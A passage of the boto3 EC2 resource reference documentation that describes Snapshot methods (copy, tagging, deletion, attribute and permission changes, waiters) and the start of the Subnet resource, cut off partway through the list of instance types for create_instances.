Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CopySnapshot) + +**Request Syntax** + +response = snapshot.copy( + Description='string', + Encrypted=True|False, + KmsKeyId='string', + SourceRegion='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **Description** (_string_) -- A description for the EBS snapshot. +* **DestinationRegion** (_string_) -- + + The destination Region to use in the PresignedUrl parameter of a snapshot copy operation. This parameter is only valid for specifying the destination Region in a PresignedUrl parameter, where it is required. + + The snapshot copy is sent to the regional endpoint that you sent the HTTP request to (for example, ec2.us-east-1.amazonaws.com ). With the AWS CLI, this is specified using the --region parameter or the default Region in your AWS configuration file. + + > Please note that this parameter is automatically populated if it is not provided. Including this parameter is not required + +* **Encrypted** (_boolean_) -- To encrypt a copy of an unencrypted snapshot if encryption by default is not enabled, enable encryption using this parameter. Otherwise, omit this parameter. Encrypted snapshots are encrypted, even if you omit this parameter and encryption by default is not enabled. You cannot set this parameter to false. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **KmsKeyId** (_string_) -- + + The identifier of the AWS Key Management Service (AWS KMS) customer master key (CMK) to use for Amazon EBS encryption. If this parameter is not specified, your AWS managed CMK for EBS is used. If KmsKeyId is specified, the encrypted state must be true . + + You can specify the CMK using any of the following: + + * Key ID. For example, 1234abcd-12ab-34cd-56ef-1234567890ab. + * Key alias. For example, alias/ExampleAlias. + * Key ARN. For example, arn:aws:kms:us-east-1:012345678910:key/1234abcd-12ab-34cd-56ef-1234567890ab. + * Alias ARN. For example, arn:aws:kms:us-east-1:012345678910:alias/ExampleAlias. + + AWS authenticates the CMK asynchronously. Therefore, if you specify an ID, alias, or ARN that is not valid, the action can appear to complete, but eventually fails. + +* **PresignedUrl** (_string_) -- + + When you copy an encrypted source snapshot using the Amazon EC2 Query API, you must supply a pre-signed URL. This parameter is optional for unencrypted snapshots. For more information, see [Query requests](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Query-Requests.html) . + + The PresignedUrl should use the snapshot source endpoint, the CopySnapshot action, and include the SourceRegion , SourceSnapshotId , and DestinationRegion parameters. The PresignedUrl must be signed using AWS Signature Version 4. Because EBS snapshots are stored in Amazon S3, the signing algorithm for this parameter uses the same logic that is described in [Authenticating Requests: Using Query Parameters (AWS Signature Version 4)](https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-query-string-auth.html) in the _Amazon Simple Storage Service API Reference_ . An invalid or improperly signed PresignedUrl will cause the copy operation to fail asynchronously, and the snapshot will move to an error state. + + > Please note that this parameter is automatically populated if it is not provided. Including this parameter is not required + +* **SourceRegion** (_string_) -- + + **[REQUIRED]** + + The ID of the Region that contains the snapshot to be copied. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the new snapshot. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1076)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1078)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SnapshotId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **SnapshotId** _(string) --_ + + The ID of the new snapshot. + + * **Tags** _(list) --_ + + Any tags applied to the new snapshot. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = snapshot.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified snapshot. + +When you make periodic snapshots of a volume, the snapshots are incremental, and only the blocks on the device that have changed since your last snapshot are saved in the new snapshot. When you delete a snapshot, only the data not needed for any other snapshot is removed. So regardless of which prior snapshots have been deleted, all active snapshots will have access to all the information needed to restore the volume. + +You cannot delete a snapshot of the root device of an EBS volume used by a registered AMI. You must first de-register the AMI before you can delete the snapshot. + +For more information, see [Deleting an Amazon EBS snapshot](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-deleting-snapshot.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteSnapshot) + +**Request Syntax** + +response = snapshot.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified snapshot. You can specify only one attribute at a time. + +For more information about EBS snapshots, see [Amazon EBS snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSSnapshots.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshotAttribute) + +**Request Syntax** + +response = snapshot.describe_attribute( + Attribute='productCodes'|'createVolumePermission', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The snapshot attribute you would like to view. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CreateVolumePermissions': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'SnapshotId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **CreateVolumePermissions** _(list) --_ + + The users and groups that have the permissions for creating volumes from the snapshot. + + * _(dict) --_ + + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) --_ + + The group to be added or removed. The possible value is all . + + * **UserId** _(string) --_ + + The AWS account ID to be added or removed. + + * **ProductCodes** _(list) --_ + + The product codes. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + * **SnapshotId** _(string) --_ + + The ID of the EBS snapshot. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_snapshots()](#EC2.Client.describe_snapshots "EC2.Client.describe_snapshots") to update the attributes of the Snapshot resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +snapshot.load() + +Returns + +None + +modify_attribute(kwargs_) + +Adds or removes permission settings for the specified snapshot. You may add or remove specified AWS account IDs from a snapshot's list of create volume permissions, but you cannot do both in a single operation. If you need to both add and remove account IDs for a snapshot, you must use multiple operations. You can make up to 500 modifications to a snapshot in a single operation. + +Encrypted snapshots and snapshots with AWS Marketplace product codes cannot be made public. Snapshots encrypted with your default CMK cannot be shared with other accounts. + +For more information about modifying snapshot permissions, see [Sharing snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifySnapshotAttribute) + +**Request Syntax** + +response = snapshot.modify_attribute( + Attribute='productCodes'|'createVolumePermission', + CreateVolumePermission={ + 'Add': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'Remove': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ] + }, + GroupNames=[ + 'string', + ], + OperationType='add'|'remove', + UserIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- The snapshot attribute to modify. Only volume creation permissions can be modified. +* **CreateVolumePermission** (_dict_) -- + + A JSON representation of the snapshot attribute modification. + + * **Add** _(list) --_ + + Adds the specified AWS account ID or group to the list. + + * _(dict) --_ + + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) --_ + + The group to be added or removed. The possible value is all . + + * **UserId** _(string) --_ + + The AWS account ID to be added or removed. + + * **Remove** _(list) --_ + + Removes the specified AWS account ID or group from the list. + + * _(dict) --_ + + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) --_ + + The group to be added or removed. The possible value is all . + + * **UserId** _(string) --_ + + The AWS account ID to be added or removed. + +* **GroupNames** (_list_) -- + + The group to modify for the snapshot. + + * _(string) --_ +* **OperationType** (_string_) -- The type of operation to perform to the attribute. +* **UserIds** (_list_) -- + + The account ID to modify for the snapshot. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_snapshots()](#EC2.Client.describe_snapshots "EC2.Client.describe_snapshots") to update the attributes of the Snapshot resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +snapshot.reload() + +Returns + +None + +reset_attribute(kwargs_) + +Resets permission settings for the specified snapshot. + +For more information about modifying snapshot permissions, see [Sharing snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetSnapshotAttribute) + +**Request Syntax** + +response = snapshot.reset_attribute( + Attribute='productCodes'|'createVolumePermission', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The attribute to reset. Currently, only the attribute for permission to create volumes can be reset. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_completed(kwargs_) + +Waits until this Snapshot is completed. This method calls EC2.Waiter.snapshot_completed.wait() which polls. [EC2.Client.describe_snapshots()](#EC2.Client.describe_snapshots "EC2.Client.describe_snapshots") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot.wait_until_completed( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + OwnerIds=[ + 'string', + ], + RestorableByUserIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * description - A description of the snapshot. + * encrypted - Indicates whether the snapshot is encrypted (true | false ) + * owner-alias - The owner alias, from an Amazon-maintained list (amazon ). This is not the user-configured AWS account alias set using the IAM console. We recommend that you use the related parameter instead of this filter. + * owner-id - The AWS account ID of the owner. We recommend that you use the related parameter instead of this filter. + * progress - The progress of the snapshot, as a percentage (for example, 80%). + * snapshot-id - The snapshot ID. + * start-time - The time stamp when the snapshot was initiated. + * status - The status of the snapshot (pending | completed | error ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * volume-id - The ID of the volume the snapshot is for. + * volume-size - The size of the volume, in GiB. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of snapshot results returned by DescribeSnapshots in paginated output. When this parameter is used, DescribeSnapshots only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeSnapshots request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeSnapshots returns all results. You cannot specify this parameter and the snapshot IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeSnapshots request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. +* **OwnerIds** (_list_) -- + + Scopes the results to snapshots with the specified owners. You can specify a combination of AWS account IDs, self , and amazon . + + * _(string) --_ +* **RestorableByUserIds** (_list_) -- + + The IDs of the AWS accounts that can create volumes from the snapshot. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +[Subnet](#id1253) +---------------------------------------------------------- + +_class_ EC2.Subnet(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Subnet: + +import boto3 + +ec2 = boto3.resource('ec2') +subnet = ec2.Subnet('id') + +Parameters + +**id** (_string_) -- The Subnet's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.Subnet.id "EC2.Subnet.id") + +These are the resource's available attributes: + +* [assign_ipv6_address_on_creation](#EC2.Subnet.assign_ipv6_address_on_creation "EC2.Subnet.assign_ipv6_address_on_creation") +* [availability_zone](#EC2.Subnet.availability_zone "EC2.Subnet.availability_zone") +* [availability_zone_id](#EC2.Subnet.availability_zone_id "EC2.Subnet.availability_zone_id") +* [available_ip_address_count](#EC2.Subnet.available_ip_address_count "EC2.Subnet.available_ip_address_count") +* [cidr_block](#EC2.Subnet.cidr_block "EC2.Subnet.cidr_block") +* [customer_owned_ipv4_pool](#EC2.Subnet.customer_owned_ipv4_pool "EC2.Subnet.customer_owned_ipv4_pool") +* [default_for_az](#EC2.Subnet.default_for_az "EC2.Subnet.default_for_az") +* [ipv6_cidr_block_association_set](#EC2.Subnet.ipv6_cidr_block_association_set "EC2.Subnet.ipv6_cidr_block_association_set") +* [map_customer_owned_ip_on_launch](#EC2.Subnet.map_customer_owned_ip_on_launch "EC2.Subnet.map_customer_owned_ip_on_launch") +* [map_public_ip_on_launch](#EC2.Subnet.map_public_ip_on_launch "EC2.Subnet.map_public_ip_on_launch") +* [outpost_arn](#EC2.Subnet.outpost_arn "EC2.Subnet.outpost_arn") +* [owner_id](#EC2.Subnet.owner_id "EC2.Subnet.owner_id") +* [state](#EC2.Subnet.state "EC2.Subnet.state") +* [subnet_arn](#EC2.Subnet.subnet_arn "EC2.Subnet.subnet_arn") +* [subnet_id](#EC2.Subnet.subnet_id "EC2.Subnet.subnet_id") +* [tags](#EC2.Subnet.tags "EC2.Subnet.tags") +* [vpc_id](#EC2.Subnet.vpc_id "EC2.Subnet.vpc_id") + +These are the resource's available references: + +* [vpc](#EC2.Subnet.vpc "EC2.Subnet.vpc") + +These are the resource's available actions: + +* [create_instances()](#EC2.Subnet.create_instances "EC2.Subnet.create_instances") +* [create_network_interface()](#EC2.Subnet.create_network_interface "EC2.Subnet.create_network_interface") +* [create_tags()](#EC2.Subnet.create_tags "EC2.Subnet.create_tags") +* [delete()](#EC2.Subnet.delete "EC2.Subnet.delete") +* [get_available_subresources()](#EC2.Subnet.get_available_subresources "EC2.Subnet.get_available_subresources") +* [load()](#EC2.Subnet.load "EC2.Subnet.load") +* [reload()](#EC2.Subnet.reload "EC2.Subnet.reload") + +These are the resource's available collections: + +* [instances](#EC2.Subnet.instances "EC2.Subnet.instances") +* [network_interfaces](#EC2.Subnet.network_interfaces "EC2.Subnet.network_interfaces") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Subnet's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Subnet.load "EC2.Subnet.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +assign_ipv6_address_on_creation + +* _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives an IPv6 address. + + +availability_zone + +* _(string) --_ + + The Availability Zone of the subnet. + + +availability_zone_id + +* _(string) --_ + + The AZ ID of the subnet. + + +available_ip_address_count + +* _(integer) --_ + + The number of unused private IPv4 addresses in the subnet. The IPv4 addresses for any stopped instances are considered unavailable. + + +cidr_block + +* _(string) --_ + + The IPv4 CIDR block assigned to the subnet. + + +customer_owned_ipv4_pool + +* _(string) --_ + + The customer-owned IPv4 address pool associated with the subnet. + + +default_for_az + +* _(boolean) --_ + + Indicates whether this is the default subnet for the Availability Zone. + + +ipv6_cidr_block_association_set + +* _(list) --_ + + Information about the IPv6 CIDR blocks associated with the subnet. + + * _(dict) --_ + + Describes an IPv6 CIDR block associated with a subnet. + + * **AssociationId** _(string) --_ + + The association ID for the CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of a CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + +map_customer_owned_ip_on_launch + +* _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives a customer-owned IPv4 address. + + +map_public_ip_on_launch + +* _(boolean) --_ + + Indicates whether instances launched in this subnet receive a public IPv4 address. + + +outpost_arn + +* _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +owner_id + +* _(string) --_ + + The ID of the AWS account that owns the subnet. + + +state + +* _(string) --_ + + The current state of the subnet. + + +subnet_arn + +* _(string) --_ + + The Amazon Resource Name (ARN) of the subnet. + + +subnet_id + +* _(string) --_ + + The ID of the subnet. + + +tags + +* _(list) --_ + + Any tags assigned to the subnet. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +* _(string) --_ + + The ID of the VPC the subnet is in. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +create_instances(kwargs_) + +Launches the specified number of instances using an AMI for which you have permissions. + +You can specify a number of options, or leave the default options. The following rules apply: + +* [EC2-VPC] If you don't specify a subnet ID, we choose a default subnet from your default VPC for you. If you don't have a default VPC, you must specify a subnet ID in the request. +* [EC2-Classic] If don't specify an Availability Zone, we choose one for you. +* Some instance types must be launched into a VPC. If you do not have a default VPC, or if you do not specify a subnet ID, the request fails. For more information, see [Instance types available only in a VPC](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html#vpc-only-instance-types) . +* [EC2-VPC] All instances have a network interface with a primary private IPv4 address. If you don't specify this address, we choose one from the IPv4 range of your subnet. +* Not all instance types support IPv6 addresses. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) . +* If you don't specify a security group ID, we use the default security group. For more information, see [Security groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) . +* If any of the AMIs have a product code attached for which the user has not subscribed, the request fails. + +You can create a [launch template](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-launch-templates.html) , which is a resource that contains the parameters to launch an instance. When you launch an instance using RunInstances , you can specify the launch template instead of specifying the launch parameters. + +To ensure faster instance launches, break up large requests into smaller batches. For example, create five separate launch requests for 100 instances each instead of one launch request for 500 instances. + +An instance is ready for you to use when it's in the running state. You can check the state of your instance using DescribeInstances . You can tag instances and EBS volumes during launch, after launch, or both. For more information, see CreateTags and [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) . + +Linux instances have access to the public key of the key pair at boot. You can use this key to provide secure access to the instance. Amazon EC2 public images use this feature to provide secure access without passwords. For more information, see [Key pairs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For troubleshooting, see [What to do if an instance immediately terminates](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_InstanceStraightToTerminated.html) , and [Troubleshooting connecting to your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesConnecting.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RunInstances) + +**Request Syntax** + +instance = subnet.create_instances( + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + ImageId='string', + InstanceType='t1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c